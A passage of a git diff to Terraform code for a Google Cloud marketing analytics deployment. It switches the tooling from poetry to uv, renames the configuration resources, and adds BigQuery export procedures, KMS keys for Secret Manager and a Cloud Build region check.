"${local.generated_sql_procedures_directory_path}/${f}"] + generated_sql_procedures_fileset = [for f in fileset(local.generated_sql_procedures_directory_path, "*.sqlx") : "${local.generated_sql_procedures_directory_path}/${f}"] # The generated_sql_procedures_content_hash is the sha512 hash of file sha512 hashes in the generated sql procedures directory. - generated_sql_procedures_content_hash = sha512(join("", [for f in local.generated_sql_procedures_fileset : fileexists(f) ? filesha512(f) : sha512("file-not-found")])) + generated_sql_procedures_content_hash = sha512(join("", [for f in local.generated_sql_procedures_fileset : fileexists(f) ? filesha512(f) : sha512("file-not-found")])) } -# Create a configuration file for the feature store. +# Create a configuration file for the solution. # the template file is located at -# ${local.source_root_dir}/config/${var.feature_store_config_env}.yaml.tftpl. +# ${local.source_root_dir}/config/${var.global_config_env}.yaml.tftpl. # This variable can be set in the terraform.tfvars file. Its default value is "config". # #The template file contains the configuration for the feature store. @@ -109,12 +114,12 @@ locals { # pipelines_github_owner: The owner of the GitHub repository that contains the pipelines code. # pipelines_github_repo: The name of the GitHub repository that contains the pipelines code. # location: The location in which the feature store will be created. -resource "local_file" "feature_store_configuration" { +resource "local_file" "global_configuration" { filename = "${local.source_root_dir}/config/${local.config_file_name}.yaml" - content = templatefile("${local.source_root_dir}/config/${var.feature_store_config_env}.yaml.tftpl", { - project_id = var.feature_store_project_id - project_name = data.google_project.feature_store_project.name - project_number = data.google_project.feature_store_project.number + content = templatefile("${local.source_root_dir}/config/${var.global_config_env}.yaml.tftpl", { + project_id = var.main_project_id + project_name = data.google_project.main_project.name + project_number = data.google_project.main_project.number cloud_region = var.google_default_region mds_project_id = var.data_project_id mds_dataset = "${var.mds_dataset_prefix}_${local.mds_dataset_suffix}" @@ -122,43 +127,30 @@ resource "local_file" "feature_store_configuration" { pipelines_github_owner = var.pipelines_github_owner pipelines_github_repo = var.pipelines_github_repo # TODO: this needs to be specific to environment. - location = var.destination_data_location + location = var.destination_data_location + time_zone = var.time_zone + pipeline_configuration = var.pipeline_configuration + non_ecomm_events_list = var.non_ecomm_events_list + non_ecomm_target_event = var.non_ecomm_target_event }) } -# Runs the poetry command to install the dependencies. -# The command is: poetry install -resource "null_resource" "poetry_install" { - triggers = { - create_command = "${var.poetry_cmd} lock && ${var.poetry_cmd} install" - source_contents_hash = local.project_toml_content_hash - } - - # Only run the command when `terraform apply` executes and the resource doesn't exist. - provisioner "local-exec" { - when = create - command = self.triggers.create_command - working_dir = local.source_root_dir - } -} - data "external" "check_ga4_property_type" { - program = ["bash", "-c", "${local.poetry_run_alias} ga4-setup --ga4_resource=check_property_type --ga4_property_id=${var.ga4_property_id} --ga4_stream_id=${var.ga4_stream_id}"] + program = ["bash", "-c", "${local.uv_run_alias} ga4-setup --ga4_resource=check_property_type --ga4_property_id=${var.ga4_property_id} --ga4_stream_id=${var.ga4_stream_id}"] working_dir = local.source_root_dir - depends_on = [null_resource.poetry_install] } -# Runs the poetry invoke command to generate the sql queries and procedures. +# Runs the uv invoke command to generate the sql queries and procedures. # This command is executed before the feature store is created. resource "null_resource" "generate_sql_queries" { triggers = { # The create command generates the sql queries and procedures. - # The command is: poetry inv [function_name] --env-name=${local.config_file_name} + # The command is: uv inv [function_name] --env-name=${local.config_file_name} # The --env-name argument is the name of the configuration file. create_command = <<-EOT - ${local.poetry_run_alias} inv apply-config-parameters-to-all-queries --env-name=${local.config_file_name} - ${local.poetry_run_alias} inv apply-config-parameters-to-all-procedures --env-name=${local.config_file_name} + ${local.uv_run_alias} inv apply-config-parameters-to-all-queries --env-name=${local.config_file_name} + ${local.uv_run_alias} inv apply-config-parameters-to-all-procedures --env-name=${local.config_file_name} EOT # The destroy command removes the generated sql queries and procedures. @@ -170,14 +162,10 @@ resource "null_resource" "generate_sql_queries" { # The working directory is the root of the project. working_dir = local.source_root_dir - # The poetry_installed trigger is the ID of the null_resource.poetry_install resource. - # This is used to ensure that the poetry command is run before the generate_sql_queries command. - poetry_installed = null_resource.poetry_install.id - # The source_contents_hash trigger is the hash of the project.toml file. # This is used to ensure that the generate_sql_queries command is run only if the project.toml file has changed. # It also ensures that the generate_sql_queries command is run only if the sql queries and procedures have changed. - source_contents_hash = local_file.feature_store_configuration.content_sha512 + source_contents_hash = local_file.global_configuration.content_sha512 destination_queries_hash = local.generated_sql_queries_content_hash destination_procedures_hash = local.generated_sql_procedures_content_hash } @@ -204,108 +192,10 @@ resource "null_resource" "generate_sql_queries" { } } - -module "initial_project_services" { - source = "terraform-google-modules/project-factory/google//modules/project_services" - version = "14.1.0" - - disable_dependent_services = false - disable_services_on_destroy = false - - project_id = var.tf_state_project_id - - activate_apis = [ - "cloudresourcemanager.googleapis.com", - "serviceusage.googleapis.com", - "iam.googleapis.com" - ] -} - -# This resource executes gcloud commands to check whether the Cloud Resource Manager API is enabled. -# Since enabling APIs can take a few seconds, we need to make the deployment wait until the API is enabled before resuming. -resource "null_resource" "check_cloudresourcemanager_api" { - provisioner "local-exec" { - command = <<-EOT - COUNTER=0 - MAX_TRIES=100 - while ! gcloud services list --project=${module.initial_project_services.project_id} | grep -i "cloudresourcemanager.googleapis.com" && [ $COUNTER -lt $MAX_TRIES ] - do - sleep 6 - printf "." - COUNTER=$((COUNTER + 1)) - done - if [ $COUNTER -eq $MAX_TRIES ]; then - echo "cloudresourcemanager api is not enabled, terraform can not continue!" - exit 1 - fi - sleep 20 - EOT - } - - depends_on = [ - module.initial_project_services - ] -} - - -# This resource executes gcloud commands to check whether the service usage API is enabled. -# Since enabling APIs can take a few seconds, we need to make the deployment wait until the API is enabled before resuming. -resource "null_resource" "check_serviceusage_api" { - provisioner "local-exec" { - command = <<-EOT - COUNTER=0 - MAX_TRIES=100 - while ! gcloud services list --project=${module.initial_project_services.project_id} | grep -i "serviceusage.googleapis.com" && [ $COUNTER -lt $MAX_TRIES ] - do - sleep 6 - printf "." - COUNTER=$((COUNTER + 1)) - done - if [ $COUNTER -eq $MAX_TRIES ]; then - echo "serviceusage api is not enabled, terraform can not continue!" - exit 1 - fi - sleep 20 - EOT - } - - depends_on = [ - module.initial_project_services - ] -} - - -# This resource executes gcloud commands to check whether the IAM API is enabled. -# Since enabling APIs can take a few seconds, we need to make the deployment wait until the API is enabled before resuming. -resource "null_resource" "check_iam_api" { - provisioner "local-exec" { - command = <<-EOT - COUNTER=0 - MAX_TRIES=100 - while ! gcloud services list --project=${module.initial_project_services.project_id} | grep -i "iam.googleapis.com" && [ $COUNTER -lt $MAX_TRIES ] - do - sleep 6 - printf "." - COUNTER=$((COUNTER + 1)) - done - if [ $COUNTER -eq $MAX_TRIES ]; then - echo "iam api is not enabled, terraform can not continue!" - exit 1 - fi - sleep 20 - EOT - } - - depends_on = [ - module.initial_project_services - ] -} - # Create the data store module. # The data store module creates the marketing data store in BigQuery, creates the ETL pipeline in Dataform # for the marketing data from Google Ads and Google Analytics. -# The data store is created only if the `create_prod_environment`, `create_staging_environment` -# or `create_dev_environment` variable is set to true in the terraform.tfvars file. +# The data store is created only if the `deploy_dataform` variable is set to true in the terraform.tfvars file. # The data store is created in the `data_project_id` project. module "data_store" { # The source directory of the data store module. @@ -315,14 +205,14 @@ module "data_store" { google_default_region = var.google_default_region # The dataform_region is set in the terraform.tfvars file. Its default value is "us-central1". - dataform_region = var.dataform_region + dataform_region = var.dataform_region # The source_ga4_export_project_id is set in the terraform.tfvars file. # The source_ga4_export_dataset is set in the terraform.tfvars file. # The source_ads_export_data is set in the terraform.tfvars file. - source_ga4_export_project_id = var.source_ga4_export_project_id - source_ga4_export_dataset = var.source_ga4_export_dataset - source_ads_export_data = var.source_ads_export_data + source_ga4_export_project_id = var.source_ga4_export_project_id + source_ga4_export_dataset = var.source_ga4_export_dataset + source_ads_export_data = var.source_ads_export_data ga4_incremental_processing_days_back = var.ga4_incremental_processing_days_back # The data_processing_project_id is set in the terraform.tfvars file. @@ -331,24 +221,16 @@ module "data_store" { data_processing_project_id = var.data_processing_project_id data_project_id = var.data_project_id destination_data_location = var.destination_data_location - + # The dataform_github_repo is set in the terraform.tfvars file. # The dataform_github_token is set in the terraform.tfvars file. dataform_github_repo = var.dataform_github_repo dataform_github_token = var.dataform_github_token - # The create_dev_environment is set in the terraform.tfvars file. - # The create_dev_environment determines if the dev environment is created. - # When the value is true, the dev environment is created. - # The create_staging_environment is set in the terraform.tfvars file. - # The create_staging_environment determines if the staging environment is created. - # When the value is true, the staging environment is created. - # The create_prod_environment is set in the terraform.tfvars file. - # The create_prod_environment determines if the prod environment is created. - # When the value is true, the prod environment is created. - create_dev_environment = var.create_dev_environment - create_staging_environment = var.create_staging_environment - create_prod_environment = var.create_prod_environment + # The create_dataform determines if dataform is created. + # When the value is true, the dataform environment is created. + deploy_dataform = var.deploy_dataform + property_id = var.property_id # The dev_data_project_id is the project ID of where the dev datasets will created. #If not provided, data_project_id will be used. @@ -374,9 +256,31 @@ module "data_store" { # The project_owner_email is set in the terraform.tfvars file. # An example of a valid email address is "william.mckinley@my-own-personal-domain.com". project_owner_email = var.project_owner_email + + # Set the time zone for the scheduled jobs + time_zone = var.time_zone } +#module "purchase_propensity" { +# # The source is the path to the feature store module. +# source = "./modules/purchase-propensity" +# config_file_path = local_file.global_configuration.id != "" ? local_file.global_configuration.filename : "" +# enabled = var.deploy_purchase_propensity +# # the count determines if the feature store is created or not. +# # If the count is 1, the feature store is created. +# # If the count is 0, the feature store is not created. +# # This is done to avoid creating the feature store if the `deploy_purchase_propensity` variable is set to false in the terraform.tfvars file. +# count = var.deploy_purchase_propensity ? 1 : 0 +# project_id = var.feature_store_project_id +# # The region is the region in which the feature store is created. +# # This is set to the default region in the terraform.tfvars file. +# region = var.google_default_region +# # The sql_dir_input is the path to the sql directory. +# # This is set to the path to the sql directory in the feature store module. +# sql_dir_input = null_resource.generate_sql_queries.id != "" ? "${local.source_root_dir}/sql" : "" +#} + # Create the feature store module. # The feature store module creates the feature store and the sql queries and procedures in BigQuery. @@ -385,20 +289,20 @@ module "data_store" { module "feature_store" { # The source is the path to the feature store module. source = "./modules/feature-store" - config_file_path = local_file.feature_store_configuration.id != "" ? local_file.feature_store_configuration.filename : "" + config_file_path = local_file.global_configuration.id != "" ? local_file.global_configuration.filename : "" enabled = var.deploy_feature_store # the count determines if the feature store is created or not. # If the count is 1, the feature store is created. # If the count is 0, the feature store is not created. # This is done to avoid creating the feature store if the `deploy_feature_store` variable is set to false in the terraform.tfvars file. - count = var.deploy_feature_store ? 1 : 0 - project_id = var.feature_store_project_id + count = var.deploy_feature_store ? 1 : 0 + project_id = var.feature_store_project_id # The region is the region in which the feature store is created. # This is set to the default region in the terraform.tfvars file. - region = var.google_default_region + region = var.google_default_region # The sql_dir_input is the path to the sql directory. # This is set to the path to the sql directory in the feature store module. - sql_dir_input = null_resource.generate_sql_queries.id != "" ? "${local.source_root_dir}/sql" : "" + sql_dir_input = null_resource.generate_sql_queries.id != "" ? "${local.source_root_dir}/sql" : "" } @@ -410,19 +314,16 @@ module "feature_store" { module "pipelines" { # The source is the path to the pipelines module. source = "./modules/pipelines" - config_file_path = local_file.feature_store_configuration.id != "" ? local_file.feature_store_configuration.filename : "" - poetry_run_alias = local.poetry_run_alias + config_file_path = local_file.global_configuration.id != "" ? local_file.global_configuration.filename : "" + uv_run_alias = local.uv_run_alias # The count determines if the pipelines are created or not. # If the count is 1, the pipelines are created. # If the count is 0, the pipelines are not created. # This is done to avoid creating the pipelines if the `deploy_pipelines` variable is set to false in the terraform.tfvars file. - count = var.deploy_pipelines ? 1 : 0 - # The poetry_installed trigger is the ID of the null_resource.poetry_install resource. - # This is used to ensure that the poetry command is run before the pipelines module is created. - poetry_installed = null_resource.poetry_install.id + count = var.deploy_pipelines ? 1 : 0 # The project_id is the project in which the data is stored. # This is set to the data project ID in the terraform.tfvars file. - mds_project_id = var.data_project_id + mds_project_id = var.data_project_id } @@ -433,53 +334,50 @@ module "pipelines" { # The activation function is created in the `activation_project_id` project. module "activation" { # The source is the path to the activation module. - source = "./modules/activation" + source = "./modules/activation" # The project_id is the project in which the activation function is created. # This is set to the activation project ID in the terraform.tfvars file. - project_id = var.activation_project_id + project_id = var.activation_project_id # The project number of where the activation function is created. # This is retrieved from the activation project id using the google_project data source. - project_number = data.google_project.activation_project.number + project_number = data.google_project.activation_project.number # The location is the google_default_region variable. # This is set to the default region in the terraform.tfvars file. - location = var.google_default_region + location = var.google_default_region # The data_location is the destination_data_location variable. # This is set to the destination data location in the terraform.tfvars file. - data_location = var.destination_data_location + data_location = var.destination_data_location # The trigger_function_location is the location of the trigger function. # The trigger function is used to trigger the activation function. # The trigger function is created in the same region as the activation function. trigger_function_location = var.google_default_region - # The poetry_cmd is the poetry_cmd variable. - # This can be set on the poetry_cmd in the terraform.tfvars file. - poetry_cmd = var.poetry_cmd + # The uv_run_alias is the uv_run_alias variable. + # This can be set on the uv_cmd in the terraform.tfvars file. + uv_run_alias = local.uv_run_alias # The ga4_measurement_id is the ga4_measurement_id variable. # This can be set on the ga4_measurement_id in the terraform.tfvars file. - ga4_measurement_id = var.ga4_measurement_id + ga4_measurement_id = var.ga4_measurement_id # The ga4_measurement_secret is the ga4_measurement_secret variable. # This can be set on the ga4_measurement_secret in the terraform.tfvars file. - ga4_measurement_secret = var.ga4_measurement_secret + ga4_measurement_secret = var.ga4_measurement_secret # The ga4_property_id is the ga4_property_id variable. # This is set on the ga4_property_id in the terraform.tfvars file. # The ga4_property_id is the property ID of the GA4 data. # You can find the property ID in the GA4 console. - ga4_property_id = var.ga4_property_id + ga4_property_id = var.ga4_property_id # The ga4_stream_id is the ga4_stream_id variable. # This is set on the ga4_stream_id in the terraform.tfvars file. # The ga4_stream_id is the stream ID of the GA4 data. # You can find the stream ID in the GA4 console. - ga4_stream_id = var.ga4_stream_id + ga4_stream_id = var.ga4_stream_id # The count determines if the activation function is created or not. # If the count is 1, the activation function is created. # If the count is 0, the activation function is not created. # This is done to avoid creating the activation function if the `deploy_activation` variable is set # to false in the terraform.tfvars file. - count = var.deploy_activation ? 1 : 0 - # The poetry_installed is the ID of the null_resource poetry_install - # This is used to ensure that the poetry command is run before the activation module is created. - poetry_installed = null_resource.poetry_install.id - mds_project_id = var.data_project_id - mds_dataset_suffix = local.mds_dataset_suffix + count = var.deploy_activation ? 1 : 0 + mds_project_id = var.data_project_id + mds_dataset_suffix = local.mds_dataset_suffix # The project_owner_email is set in the terraform.tfvars file. # An example of a valid email address is "william.mckinley@my-own-personal-domain.com". @@ -493,14 +391,16 @@ module "activation" { # The monitoring resources are created only if the `deploy_monitoring` variable is set to true in the terraform.tfvars file. # The monitoring resources are created in the `data_project_id` project. module "monitoring" { - source = "./modules/monitor" - count = var.deploy_monitoring ? 1 : 0 - project_id = var.data_project_id - location = var.google_default_region - mds_project_id = var.data_project_id - mds_dataset_suffix = local.mds_dataset_suffix - mds_location = var.google_default_region - mds_dataform_workspace = var.dataform_workspace - feature_store_project_id = var.feature_store_project_id - activation_project_id = var.activation_project_id + source = "./modules/monitor" + count = var.deploy_monitoring ? 1 : 0 + project_id = var.data_project_id + location = var.google_default_region + mds_project_id = var.data_project_id + mds_dataset_suffix = local.mds_dataset_suffix + mds_location = var.google_default_region + mds_dataform_workspace = var.dataform_workspace + feature_store_project_id = var.feature_store_project_id + activation_project_id = var.activation_project_id + purchase_propensity_dataset_id = module.feature_store[0].purchase_propensity_dataset_id + smart_bidding_configuration_table = module.activation[0].configuration_table_name } diff --git a/infrastructure/terraform/modules/activation/configuration-tables.tf b/infrastructure/terraform/modules/activation/configuration-tables.tf new file mode 100644 index 00000000..6d80eb51 --- /dev/null +++ b/infrastructure/terraform/modules/activation/configuration-tables.tf @@ -0,0 +1,69 @@ +# Copyright 2024 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +locals { + config_id = "vbb_activation_configuration" + vbb_activation_configuration_file = "${local.config_id}.jsonl" +} + +# JSON configuration file for smart bidding based activation +resource "google_storage_bucket_object" "vbb_activation_configuration_file" { + name = "${local.configuration_folder}/${local.vbb_activation_configuration_file}" + source = "${local.template_dir}/${local.vbb_activation_configuration_file}" + bucket = module.pipeline_bucket.name +} + +# This data resources creates a data resource that renders a template file and stores the rendered content in a variable. +data "template_file" "load_vbb_activation_configuration_proc" { + template = file("${local.template_dir}/load_${local.config_id}.sql.tpl") + vars = { + project_id = module.project_services.project_id + dataset = module.bigquery.bigquery_dataset.dataset_id + config_file_uri = "gs://${module.pipeline_bucket.name}/${google_storage_bucket_object.vbb_activation_configuration_file.output_name}" + } +} + +# Store procedure that loads the json configuation file from GCS into a configuration table in BQ +resource "google_bigquery_routine" "load_vbb_activation_configuration_proc" { + project = module.project_services.project_id + dataset_id = module.bigquery.bigquery_dataset.dataset_id + routine_id = "load_${local.config_id}" + routine_type = "PROCEDURE" + language = "SQL" + definition_body = data.template_file.load_vbb_activation_configuration_proc.rendered + description = "Procedure for loading vbb activation configuration from GCS bucket" +} + +# This resource creates a BigQuery table named vbb_activation_configuration +resource "google_bigquery_table" "smart_bidding_configuration" { + project = module.project_services.project_id + dataset_id = module.bigquery.bigquery_dataset.dataset_id + table_id = local.config_id + description = "stores configuration settings used to translate predicted deciles into monetary values for Smart Bidding strategies." + + # The deletion_protection attribute specifies whether the table should be protected from deletion. In this case, it's set to false, which means that the table can be deleted. + deletion_protection = false + labels = { + version = "prod" + } + + # The schema attribute specifies the schema of the table. In this case, the schema is defined in the JSON file. + schema = file("${local.source_root_dir}/sql/schema/table/${local.config_id}.json") + + # The lifecycle block is used to configure the lifecycle of the table. In this case, the ignore_changes attribute is set to all, which means that Terraform will ignore + # any changes to the table and will not attempt to update the table. + lifecycle { + ignore_changes = all + } +} diff --git a/infrastructure/terraform/modules/activation/export-procedures.tf b/infrastructure/terraform/modules/activation/export-procedures.tf index 55ab1001..86d942be 100644 --- a/infrastructure/terraform/modules/activation/export-procedures.tf +++ b/infrastructure/terraform/modules/activation/export-procedures.tf @@ -118,11 +118,34 @@ resource "google_bigquery_routine" "export_churn_propensity_procedure" { routine_id = "export_churn_propensity_predictions" routine_type = "PROCEDURE" language = "SQL" - definition_body = data.template_file.purchase_propensity_csv_export_query.rendered - description = "Export purchase propensity predictions as CSV for GA4 User Data Import" + definition_body = data.template_file.churn_propensity_csv_export_query.rendered + description = "Export churn propensity predictions as CSV for GA4 User Data Import" arguments { name = "prediction_table_name" mode = "IN" data_type = jsonencode({ "typeKind" : "STRING" }) } } + +data "template_file" "lead_score_propensity_csv_export_query" { + template = file("${local.source_root_dir}/templates/activation_user_import/lead_score_propensity_csv_export.sqlx") + vars = { + ga4_stream_id = var.ga4_stream_id + export_bucket = module.pipeline_bucket.name + } +} + +resource "google_bigquery_routine" "export_lead_score_propensity_procedure" { + project = null_resource.check_bigquery_api.id != "" ? module.project_services.project_id : var.project_id + dataset_id = module.bigquery.bigquery_dataset.dataset_id + routine_id = "export_lead_score_propensity_predictions" + routine_type = "PROCEDURE" + language = "SQL" + definition_body = data.template_file.lead_score_propensity_csv_export_query.rendered + description = "Export lead score propensity predictions as CSV for GA4 User Data Import" + arguments { + name = "prediction_table_name" + mode = "IN" + data_type = jsonencode({ "typeKind" : "STRING" }) + } +} \ No newline at end of file diff --git a/infrastructure/terraform/modules/activation/main.tf b/infrastructure/terraform/modules/activation/main.tf index 1123410c..0a58a544 100644 --- a/infrastructure/terraform/modules/activation/main.tf +++ b/infrastructure/terraform/modules/activation/main.tf @@ -15,7 +15,6 @@ locals { app_prefix = "activation" source_root_dir = "../.." - poetry_run_alias = "${var.poetry_cmd} run" template_dir = "${local.source_root_dir}/templates" pipeline_source_dir = "${local.source_root_dir}/python/activation" trigger_function_dir = "${local.source_root_dir}/python/function" @@ -24,12 +23,15 @@ locals { auto_audience_segmentation_query_template_file = "auto_audience_segmentation_query_template.sqlx" cltv_query_template_file = "cltv_query_template.sqlx" purchase_propensity_query_template_file = "purchase_propensity_query_template.sqlx" + purchase_propensity_vbb_query_template_file = "purchase_propensity_vbb_query_template.sqlx" + lead_score_propensity_query_template_file = "lead_score_propensity_query_template.sqlx" + lead_score_propensity_vbb_query_template_file = "lead_score_propensity_vbb_query_template.sqlx" churn_propensity_query_template_file = "churn_propensity_query_template.sqlx" - measurement_protocol_payload_template_file = "app_payload_template.jinja2" activation_container_image_id = "activation-pipeline" docker_repo_prefix = "${var.location}-docker.pkg.dev/${var.project_id}" activation_container_name = "dataflow/${local.activation_container_image_id}" - source_archive_file = "activation_trigger_source.zip" + source_archive_file_prefix = "activation_trigger_source" + source_archive_file = "${local.source_archive_file_prefix}.zip" pipeline_service_account_name = "dataflow-worker" pipeline_service_account_email = "${local.app_prefix}-${local.pipeline_service_account_name}@${var.project_id}.iam.gserviceaccount.com" @@ -37,19 +39,14 @@ locals { trigger_function_account_name = "trigger-function" trigger_function_account_email = "${local.app_prefix}-${local.trigger_function_account_name}@${var.project_id}.iam.gserviceaccount.com" - builder_service_account_name = "build-job" + builder_service_account_name = "build-job" builder_service_account_email = "${local.app_prefix}-${local.builder_service_account_name}@${var.project_id}.iam.gserviceaccount.com" - activation_type_configuration_file = "${local.source_root_dir}/templates/activation_type_configuration_template.tpl" + activation_type_configuration_file = "${local.source_root_dir}/templates/activation_type_configuration_template.tpl" # This is calculating a hash number on the file content to keep track of changes and trigger redeployment of resources # in case the file content changes. activation_type_configuration_file_content_hash = filesha512(local.activation_type_configuration_file) - app_payload_template_file = "${local.source_root_dir}/templates/app_payload_template.jinja2" - # This is calculating a hash number on the file content to keep track of changes and trigger redeployment of resources - # in case the file content changes. - app_payload_template_file_content_hash = filesha512(local.activation_type_configuration_file) - activation_application_dir = "${local.source_root_dir}/python/activation" activation_application_fileset = [ "${local.activation_application_dir}/main.py", @@ -61,6 +58,20 @@ locals { # This is calculating a hash number on the files contents to keep track of changes and trigger redeployment of resources # in case any of these files contents changes. activation_application_content_hash = sha512(join("", [for f in local.activation_application_fileset : fileexists(f) ? filesha512(f) : sha512("file-not-found")])) + + ga4_setup_source_file = "${local.source_root_dir}/python/ga4_setup/setup.py" + ga4_setup_source_file_content_hash = filesha512(local.ga4_setup_source_file) + + # GCP Cloud Build is not available in all regions. + cloud_build_available_locations = [ + "us-central1", + "us-west2", + "europe-west1", + "asia-east1", + "australia-southeast1", + "southamerica-east1" + ] + } data "google_project" "activation_project" { @@ -69,7 +80,7 @@ data "google_project" "activation_project" { module "project_services" { source = "terraform-google-modules/project-factory/google//modules/project_services" - version = "14.1.0" + version = "18.0.0" disable_dependent_services = false disable_services_on_destroy = false @@ -92,6 +103,7 @@ module "project_services" { "analyticsadmin.googleapis.com", "eventarc.googleapis.com", "run.googleapis.com", + "cloudkms.googleapis.com" ] } @@ -301,11 +313,47 @@ resource "null_resource" "check_cloudbuild_api" { depends_on = [ module.project_services ] + + # The lifecycle block of the google_artifact_registry_repository resource defines a precondition that + # checks if the specified region is included in the vertex_pipelines_available_locations list. + # If the condition is not met, an error message is displayed and the Terraform configuration will fail. + lifecycle { + precondition { + condition = contains(local.cloud_build_available_locations, var.location) + error_message = "Cloud Build is not available in your default region: ${var.location}.\nSet 'google_default_region' variable to a valid Cloud Build location, see Restricted Regions in https://cloud.google.com/build/docs/locations." + } + } +} + +# This resource executes gcloud commands to check whether the IAM API is enabled. +# Since enabling APIs can take a few seconds, we need to make the deployment wait until the API is enabled before resuming. +resource "null_resource" "check_cloudkms_api" { + provisioner "local-exec" { + command = <<-EOT + COUNTER=0 + MAX_TRIES=100 + while ! gcloud services list --project=${module.project_services.project_id} | grep -i "cloudkms.googleapis.com" && [ $COUNTER -lt $MAX_TRIES ] + do + sleep 6 + printf "." + COUNTER=$((COUNTER + 1)) + done + if [ $COUNTER -eq $MAX_TRIES ]; then + echo "cloud kms api is not enabled, terraform can not continue!" + exit 1 + fi + sleep 20 + EOT + } + + depends_on = [ + module.project_services + ] } module "bigquery" { source = "terraform-google-modules/bigquery/google" - version = "~> 5.4" + version = "9.0.0" dataset_id = local.app_prefix dataset_name = local.app_prefix @@ -322,10 +370,11 @@ resource "null_resource" "create_custom_events" { triggers = { services_enabled_project = null_resource.check_analyticsadmin_api.id != "" ? module.project_services.project_id : var.project_id source_contents_hash = local.activation_type_configuration_file_content_hash + source_file_content_hash = local.ga4_setup_source_file_content_hash } provisioner "local-exec" { command = <<-EOT - ${local.poetry_run_alias} ga4-setup --ga4_resource=custom_events --ga4_property_id=${var.ga4_property_id} --ga4_stream_id=${var.ga4_stream_id} + ${var.uv_run_alias} ga4-setup --ga4_resource=custom_events --ga4_property_id=${var.ga4_property_id} --ga4_stream_id=${var.ga4_stream_id} EOT working_dir = local.source_root_dir } @@ -337,12 +386,13 @@ resource "null_resource" "create_custom_events" { resource "null_resource" "create_custom_dimensions" { triggers = { services_enabled_project = null_resource.check_analyticsadmin_api.id != "" ? module.project_services.project_id : var.project_id + source_file_content_hash = local.ga4_setup_source_file_content_hash #source_activation_type_configuration_hash = local.activation_type_configuration_file_content_hash #source_activation_application_python_hash = local.activation_application_content_hash } provisioner "local-exec" { command = <<-EOT - ${local.poetry_run_alias} ga4-setup --ga4_resource=custom_dimensions --ga4_property_id=${var.ga4_property_id} --ga4_stream_id=${var.ga4_stream_id} + ${var.uv_run_alias} ga4-setup --ga4_resource=custom_dimensions --ga4_property_id=${var.ga4_property_id} --ga4_stream_id=${var.ga4_stream_id} EOT working_dir = local.source_root_dir } @@ -359,7 +409,7 @@ resource "google_artifact_registry_repository" "activation_repository" { module "pipeline_service_account" { source = "terraform-google-modules/service-accounts/google" - version = "~> 3.0" + version = "4.4.3" project_id = null_resource.check_dataflow_api.id != "" ? module.project_services.project_id : var.project_id prefix = local.app_prefix names = [local.pipeline_service_account_name] @@ -368,7 +418,7 @@ module "pipeline_service_account" { "${module.project_services.project_id}=>roles/dataflow.worker", "${module.project_services.project_id}=>roles/bigquery.dataEditor", "${module.project_services.project_id}=>roles/bigquery.jobUser", - "${module.project_services.project_id}=>roles/artifactregistry.writer", + "${module.project_services.project_id}=>roles/artifactregistry.writer", ] display_name = "Dataflow worker Service Account" description = "Activation Dataflow worker Service Account" @@ -376,7 +426,7 @@ module "pipeline_service_account" { module "trigger_function_account" { source = "terraform-google-modules/service-accounts/google" - version = "~> 3.0" + version = "4.4.3" project_id = null_resource.check_pubsub_api.id != "" ? module.project_services.project_id : var.project_id prefix = local.app_prefix names = [local.trigger_function_account_name] @@ -398,48 +448,139 @@ module "trigger_function_account" { # a python command defined in the module ga4_setup. # This informatoin can then be used in other parts of the Terraform configuration to access the retrieved information. data "external" "ga4_measurement_properties" { - program = ["bash", "-c", "${local.poetry_run_alias} ga4-setup --ga4_resource=measurement_properties --ga4_property_id=${var.ga4_property_id} --ga4_stream_id=${var.ga4_stream_id}"] + program = ["bash", "-c", "${var.uv_run_alias} ga4-setup --ga4_resource=measurement_properties --ga4_property_id=${var.ga4_property_id} --ga4_stream_id=${var.ga4_stream_id}"] working_dir = local.source_root_dir # The count attribute specifies how many times the external data source should be executed. # This means that the external data source will be executed only if either the # var.ga4_measurement_id or var.ga4_measurement_secret variable is not set. - count = (var.ga4_measurement_id == null || var.ga4_measurement_secret == null || var.ga4_measurement_id == "" || var.ga4_measurement_secret == "") ? 1 : 0 + count = (var.ga4_measurement_id == null || var.ga4_measurement_secret == null || var.ga4_measurement_id == "" || var.ga4_measurement_secret == "") ? 1 : 0 depends_on = [ module.project_services ] } +# It's used to create unique names for resources like KMS key rings or crypto keys, +# ensuring they don't clash with existing resources. +resource "random_id" "random_suffix" { + byte_length = 2 +} + +# This ensures that Secret Manager has a service identity within your project. +# This identity is crucial for securely managing secrets and allowing Secret Manager +# to interact with other Google Cloud services on your behalf. +resource "google_project_service_identity" "secretmanager_sa" { + provider = google-beta + project = null_resource.check_cloudkms_api.id != "" ? module.project_services.project_id : var.project_id + service = "secretmanager.googleapis.com" +} +# This Key Ring can then be used to store and manage encryption keys for various purposes, +# such as encrypting data at rest or protecting secrets. +resource "google_kms_key_ring" "key_ring_regional" { + name = "key_ring_regional-${random_id.random_suffix.hex}" + # If you want your replicas in other locations, change the location in the var.location variable passed as a parameter to this submodule. + # if you your replicas stored global, set the location = "global". + location = var.location + project = null_resource.check_cloudkms_api.id != "" ? module.project_services.project_id : var.project_id +} + +# This key can then be used for various encryption operations, +# such as encrypting data before storing it in Google Cloud Storage +# or protecting secrets within your application. +resource "google_kms_crypto_key" "crypto_key_regional" { + name = "crypto-key-${random_id.random_suffix.hex}" + key_ring = google_kms_key_ring.key_ring_regional.id +} + +# Defines an IAM policy that explicitly grants the Secret Manager service account +# the ability to encrypt and decrypt data using a specific CryptoKey. This is a +# common pattern for securely managing secrets, allowing Secret Manager to encrypt +# or decrypt data without requiring direct access to the underlying encryption key material. +data "google_iam_policy" "crypto_key_encrypter_decrypter" { + binding { + role = "roles/cloudkms.cryptoKeyEncrypterDecrypter" + + members = [ + "serviceAccount:${google_project_service_identity.secretmanager_sa.email}" + ] + } + + depends_on = [ + google_project_service_identity.secretmanager_sa, + google_kms_key_ring.key_ring_regional, + google_kms_crypto_key.crypto_key_regional + ] +} + +# It sets the IAM policy for a KMS CryptoKey, specifically granting permissions defined +# in another data source. +resource "google_kms_crypto_key_iam_policy" "crypto_key" { + crypto_key_id = google_kms_crypto_key.crypto_key_regional.id + policy_data = data.google_iam_policy.crypto_key_encrypter_decrypter.policy_data +} + +# It sets the IAM policy for a KMS Key Ring, granting specific permissions defined +# in a data source. +resource 